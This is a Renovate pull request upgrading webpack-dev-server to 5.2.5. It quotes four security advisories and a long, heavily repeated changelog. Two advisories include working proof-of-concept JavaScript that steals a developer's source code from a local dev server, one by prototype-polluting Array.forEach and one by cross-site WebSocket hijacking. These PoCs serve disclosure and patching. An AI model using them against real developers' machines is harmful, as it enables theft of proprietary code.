Update dependency webpack-dev-server to v5 [SECURITY]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
webpack-dev-server	3.11.3 → 5.2.5

---

webpack-dev-server users' source code may be stolen when they access a malicious web site

CVE-2025-30359 / GHSA-4v9v-hfq4-rm2v

More information

Details

Summary

Source code may be stolen when you access a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
5. You can see the source code output in the document and the devtools console.

The script in the POC site is:

let moduleList
const onHandlerSet = (handler) => {
  console.log('h', handler)
  moduleList = handler.require.m
}

const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) => {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
  console.log(moduleList)
  for (const key in moduleList) {
    const p = document.createElement('p')
    const title = document.createElement('strong')
    title.textContent = key
    const code = document.createElement('code')
    code.textContent = moduleList[key].toString()
    p.append(title, ':', document.createElement('br'), code)
    document.body.appendChild(p)
  }
})
document.head.appendChild(script)

This script uses the function generated by renderRequire.

    // The require function
    function __webpack_require__(moduleId) {
        // Check if module is in cache
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        // Create a new module (and put it into the cache)
        var module = __webpack_module_cache__[moduleId] = {
            // no module.id needed
            // no module.loaded needed
            exports: {}
        };
        // Execute the module function
        var execOptions = {
            id: moduleId,
            module: module,
            factory: __webpack_modules__[moduleId],
            require: __webpack_require__
        };
        __webpack_require__.i.forEach(function(handler) {
            handler(execOptions);
        });
        module = execOptions.module;
        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
        // Return the exports of the module
        return module.exports;
    }

Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

Old content

Summary

Source code may be stolen when you use output.iife: false and access a malicious web site.

Details

When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/
5. Open the devtools console.
6. You can see the content of src/index.js and other scripts loaded.

The script in the POC site is:

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
    for (const module in window.__webpack_modules__) {
        console.log(`${module}:`, window.__webpack_modules__[module].toString())
    }
})
document.head.appendChild(script)

Impact

This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v
• https://nvd.nist.gov/vuln/detail/CVE-2025-30359
• https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e
• https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239
• https://github.com/advisories/GHSA-4v9v-hfq4-rm2v

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

CVE-2025-30360 / GHSA-9jgg-88mc-972h

More information

Details

Summary

Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details

The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: webpack/webpack-dev-server@72efaab (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
5. Edit src/index.js in the extracted directory
6. You can see the content of src/index.js

The script in the POC site is:

window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
	    console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h
• https://nvd.nist.gov/vuln/detail/CVE-2025-30360
• https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb
• https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239
• https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
• https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e
• https://github.com/advisories/GHSA-9jgg-88mc-972h

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

webpack-dev-server vulnerable to cross-origin source code exposure on non-HTTPS origins

CVE-2026-6402 / GHSA-79cf-xcqc-c78w

More information

Details

Impact

When webpack-dev-server is running on a non-HTTPS origin (the default), cross-origin requests from malicious websites can load the dev server's JavaScript bundles via <script> tags. The fix introduced in v5.2.1 (CVE-2025-30359) relied on Sec-Fetch-Mode and Sec-Fetch-Site request headers to block these requests, but browsers only send these headers for potentially trustworthy origins. Over plain HTTP, the headers are absent and the check is bypassed.

An attacker who knows the dev server's host, port, and output path can exfiltrate all module source code by intercepting the webpack runtime's module registration.

This does not affect Chrome 142+ (and other Chromium-based browsers) due to local network access restrictions.

Patches

Patched in webpack-dev-server >= 5.2.4 by setting Cross-Origin-Resource-Policy: same-origin on responses.

Workarounds

Run the dev server with HTTPS enabled (--https or server.type: 'https' in config).

Resources

• GHSA-4v9v-hfq4-rm2v (CVE-2025-30359) - original vulnerability
• GHSA-9jgg-88mc-972h (CVE-2025-30360) - prior bypass

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v
• https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-79cf-xcqc-c78w
• https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h
• https://nvd.nist.gov/vuln/detail/CVE-2026-6402
• https://cna.openjsf.org/security-advisories.html
• https://github.com/advisories/GHSA-79cf-xcqc-c78w

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

webpack-dev-server vulnerable to HMR WebSocket interception via permissive user proxies

CVE-2026-9595 / GHSA-mx8g-39q3-5c79

More information

Details

Impact

When a user-configured proxy on webpack-dev-server has a broad context (e.g. /) and ws: true, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and Origin header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket).

Patches

Fixed in webpack-dev-server 5.2.5.

Workarounds

Scope user-defined proxy context to specific paths instead of /, or omit ws: true from the proxy entry when WebSocket forwarding is not required.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-mx8g-39q3-5c79
• https://nvd.nist.gov/vuln/detail/CVE-2026-9595
• https://github.com/facebook/create-react-app/pull/7444
• https://github.com/webpack/webpack-dev-server/pull/4316
• https://github.com/vuejs/vue-cli/commit/72ba7505aff2a8314e82aa5082379a77504a1fcb
• https://cna.openjsf.org/security-advisories.html
• https://github.com/advisories/GHSA-mx8g-39q3-5c79

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

webpack/webpack-dev-server (webpack-dev-server)

v5.2.5

Compare Source

Patch Changes

• Skip the HMR WebSocket path when forwarding upgrade requests to user-defined proxies, so custom proxy WebSocket upgrades are no longer intercepted by the dev server. (by @​bjohansebas in #​5680)

All notable changes to this project will be documented in this file. See standard-version for commit guidelines.

5.2.4 (2026-05-11)

Bug Fixes

• set Cross-Origin-Resource-Policy header to prevent source code theft over HTTP

5.2.3 (2026-01-12)

Bug Fixes

• add cause for errorObject (#​5518) (37b033d)
• compatibility with event target and universal target and lazy compilation (574026c)
• overlay: add ESC key to dismiss overlay (#​5598) (f91baa8)
• progress indicator styles (#​5557) (41a53a1)
• upgrade selfsigned to v5

5.2.2 (2025-06-03)

Bug Fixes

• "Overlay enabled" false positive (18e72ee)
• do not crush when error is null for runtime errors (#​5447) (309991f)
• remove unnecessary header X_TEST (#​5451) (64a6124)
• respect the allowedHosts option for cross-origin header check (#​5510) (03d1214)

v5.2.4

Compare Source

v5.2.3

Compare Source

v5.2.2

Compare Source

v5.2.1

Compare Source

Security

• cross-origin requests are not allowed unless allowed by Access-Control-Allow-Origin header
• requests with an IP addresses in the Origin header are not allowed to connect to WebSocket server unless configured by allowedHosts or it different from the Host header

The above changes may make the dev server not work if you relied on such behavior, but unfortunately they carry security risks, so they were considered as fixes.

Bug Fixes

• prevent overlay for errors caught by React error boundaries (#​5431) (8c1abc9)
• take the first network found instead of the last one, this restores the same behavior as 5.0.4 (#​5411) (ffd0b86)

v5.2.0

Compare Source

Features

• added getClientEntry and getClientHotEntry methods to get clients entries (dc642a8)

Bug Fixes

• speed up initial client bundling (145b5d0)

v5.1.0

Compare Source

Features

• add visual progress indicators (a8f40b7)
• added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
• allow the server option to be Function (#​5275) (02a1c6d)
• http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)

Bug Fixes

• check the platform property to determinate the target (#​5269) (c3b532c)
• ipv6 output (#​5270) (06005e7)
• replace rimraf with rm (#​5162) (1a1561f)
• replace default gateway (#​5255) (f5f0902)
• support devServer: false (#​5272) (8b341cb)

5.0.4 (2024-03-19)

Bug Fixes

• security: bump webpack-dev-middleware (#​5112) (aab576a)

5.0.3 (2024-03-12)

Bug Fixes

• types: proxy (#​5101) (6e1aed3)

5.0.2 (2024-02-16)

Bug Fixes

• types (#​5057) (da2c24d)

5.0.1 (2024-02-13)

Bug Fixes

• avoid using eval in client (#​5045) (7681477)
• overlay and require-trusted-types-for (#​5046) (e115436)

v5.0.4

Compare Source

Security

• cross-origin requests are not allowed unless allowed by Access-Control-Allow-Origin header
• requests with an IP addresses in the Origin header are not allowed to connect to WebSocket server unless configured by allowedHosts or it different from the Host header

The above changes may make the dev server not work if you relied on such behavior, but unfortunately they carry security risks, so they were considered as fixes.

Bug Fixes

• prevent overlay for errors caught by React error boundaries (#​5431) (8c1abc9)
• take the first network found instead of the last one, this restores the same behavior as 5.0.4 (#​5411) (ffd0b86)

v5.0.3

Compare Source

Features

• add visual progress indicators (a8f40b7)
• added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
• allow the server option to be Function (#​5275) (02a1c6d)
• http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)

Bug Fixes

• check the platform property to determinate the target (#​5269) (c3b532c)
• ipv6 output (#​5270) (06005e7)
• replace rimraf with rm (#​5162) (1a1561f)
• replace default gateway (#​5255) (f5f0902)
• support devServer: false (#​5272) (8b341cb)

5.0.4 (2024-03-19)

Bug Fixes

• security: bump webpack-dev-middleware (#​5112) (aab576a)

5.0.3 (2024-03-12)

Bug Fixes

• types: proxy (#​5101) (6e1aed3)

5.0.2 (2024-02-16)

Bug Fixes

• types (#​5057) (da2c24d)

5.0.1 (2024-02-13)

Bug Fixes

• avoid using eval in client (#​5045) (7681477)
• overlay and require-trusted-types-for (#​5046) (e115436)

v5.0.2

Compare Source

Features

• add visual progress indicators (a8f40b7)
• added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
• allow the server option to be Function (#​5275) (02a1c6d)
• http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)

Bug Fixes

• check the platform property to determinate the target (#​5269) (c3b532c)
• ipv6 output (#​5270) (06005e7)
• replace rimraf with rm (#​5162) (1a1561f)
• replace default gateway (#​5255) (f5f0902)
• support devServer: false (#​5272) (8b341cb)

5.0.4 (2024-03-19)

Bug Fixes

• security: bump webpack-dev-middleware (#​5112) (aab576a)

5.0.3 (2024-03-12)

Bug Fixes

• types: proxy (#​5101) (6e1aed3)

5.0.2 (2024-02-16)

Bug Fixes

• types (#​5057) (da2c24d)

5.0.1 (2024-02-13)

Bug Fixes

• avoid using eval in client (#​5045) (7681477)
• overlay and require-trusted-types-for (#​5046) (e115436)

v5.0.1

Compare Source

Features

• add visual progress indicators (a8f40b7)
• added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
• allow the server option to be Function (#​5275) (02a1c6d)
• http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)

Bug Fixes

• check the platform property to determinate the target (#​5269) (c3b532c)
• ipv6 output (#​5270) (06005e7)
• replace rimraf with rm (#​5162) (1a1561f)
• replace default gateway (#​5255) (f5f0902)
• support devServer: false (#​5272) (8b341cb)

5.0.4 (2024-03-19)

Bug Fixes

• security: bump webpack-dev-middleware (#​5112) (aab576a)

5.0.3 (2024-03-12)

Bug Fixes

• types: proxy (#​5101) (6e1aed3)

5.0.2 (2024-02-16)

Bug Fixes

• types (#​5057) (da2c24d)

5.0.1 (2024-02-13)

Bug Fixes

• avoid using eval in client (#​5045) (7681477)
• overlay and require-trusted-types-for (#​5046) (e115436)

v5.0.0

Compare Source

Features

• add visual progress indicators (a8f40b7)
• added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
• allow the server option to be Function (#​5275) (02a1c6d)
• http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)

Bug Fixes

• check the platform property to determinate the target (#​5269) (c3b532c)
• ipv6 output (#​5270) (06005e7)
• replace rimraf with rm (#​5162) (1a1561f)
• replace default gateway (#​5255) (f5f0902)
• support devServer: false (#​5272) (8b341cb)

5.0.4 (2024-03-19)

Bug Fixes

• security: bump webpack-dev-middleware (#​5112) (aab576a)

5.0.3 (2024-03-12)

Bug Fixes

• types: proxy (#​5101) (6e1aed3)

5.0.2 (2024-02-16)

Bug Fixes

• types (#​5057) (da2c24d)

5.0.1 (2024-02-13)

Bug Fixes

• avoid using eval in client (#​5045) (7681477)
• overlay and require-trusted-types-for (#​5046) (e115436)

v4.15.2

Compare Source

4.15.2 (2024-03-20)

Bug Fixes

• security: bump webpack-dev-middleware (4116209)

v4.15.1

Compare Source

Migration Guide and Changes.

4.15.1 (2023-06-09)

Bug Fixes

• replace :: with localhost before openBrowser() (#​4856) (874c44b)
• types: compatibility with @types/ws (#​4899) (34bcec2)

v4.15.0

Compare Source

Migration Guide and Changes.

4.15.1 (2023-06-09)

Bug Fixes

• replace :: with localhost before openBrowser() (#​4856) (874c44b)
• types: compatibility with @types/ws (#​4899) (34bcec2)

v4.14.0

Compare Source

Features

• allow CLI to be ESM (#​4837) (bb4a5d9)
• allow filter overlay errors/warnings with function (#​4813) (aab01b3)

4.13.3 (2023-04-15)

Bug Fixes

• perf: reduced initial start time (#​4818) (fcf01d1)

4.13.2 (2023-03-31)

Bug Fixes

• prevent open 0.0.0.0 in browser due windows problems (04e74f2)

4.13.1 (2023-03-18)

Bug Fixes

• make webpack optional peer dependency (#​4778) (71be54e)

v4.13.3

Compare Source

Features

• allow CLI to be ESM (#​4837) (bb4a5d9)
• allow filter overlay errors/warnings with function (#​4813) (aab01b3)

4.13.3 (2023-04-15)

Bug Fixes

• perf: reduced initial start time (#​4818) (fcf01d1)

4.13.2 (2023-03-31)

Bug Fixes

• prevent open 0.0.0.0 in browser due windows problems (04e74f2)

4.13.1 (2023-03-18)

Bug Fixes

• make webpack optional peer dependency (#​4778) (71be54e)

v4.13.2

Compare Source

Features

• allow CLI to be ESM (#​4837) (bb4a5d9)
• allow filter overlay errors/warnings with function (#​4813) (aab01b3)

4.13.3 (2023-04-15)

Bug Fixes

• perf: reduced initial start time (#​4818) (fcf01d1)

4.13.2 (2023-03-31)

Bug Fixes

• prevent open 0.0.0.0 in browser due windows problems (04e74f2)

4.13.1 (2023-03-18)

Bug Fixes

• make webpack optional peer dependency (#​4778) (71be54e)

v4.13.1

Compare Source

Features

• allow CLI to be ESM (#​4837) (bb4a5d9)
• allow filter overlay errors/warnings with function (#​4813) (aab01b3)

4.13.3 (2023-04-15)

Bug Fixes

• perf: reduced initial start time (#​4818) (fcf01d1)

4.13.2 (2023-03-31)

Bug Fixes

• prevent open 0.0.0.0 in browser due windows problems (04e74f2)

4.13.1 (2023-03-18)

Bug Fixes

• make webpack optional peer dependency (#​4778) (71be54e)

v4.13.0

Compare Source

Features

• allow CLI to be ESM (#​4837) (bb4a5d9)
• allow filter overlay errors/warnings with function (#​4813) (aab01b3)

4.13.3 (2023-04-15)

Bug Fixes

• perf: reduced initial start time (#​4818) (fcf01d1)

4.13.2 (2023-03-31)

Bug Fixes

• prevent open 0.0.0.0 in browser due windows problems (04e74f2)

4.13.1 (2023-03-18)

Bug Fixes

• make webpack optional peer dependency (#​4778) (71be54e)

v4.12.0

Compare Source

Features

• allow to set the sockjs_url option (only sockjs) using the webSocketServer.options.sockjsUrl option (#​4586) (69a2fba)
• catch runtime error (#​4605) (87a26cf)
• improve styles for overlay (#​4576) (791fb85)
• open editor when clicking error on overlay (#​4587) (efb2cec)

Bug Fixes

• compatibility with experiments.buildHttp (#​4585) (5b846cb)
• respect `

✂ Note

PR body was truncated to here.

---

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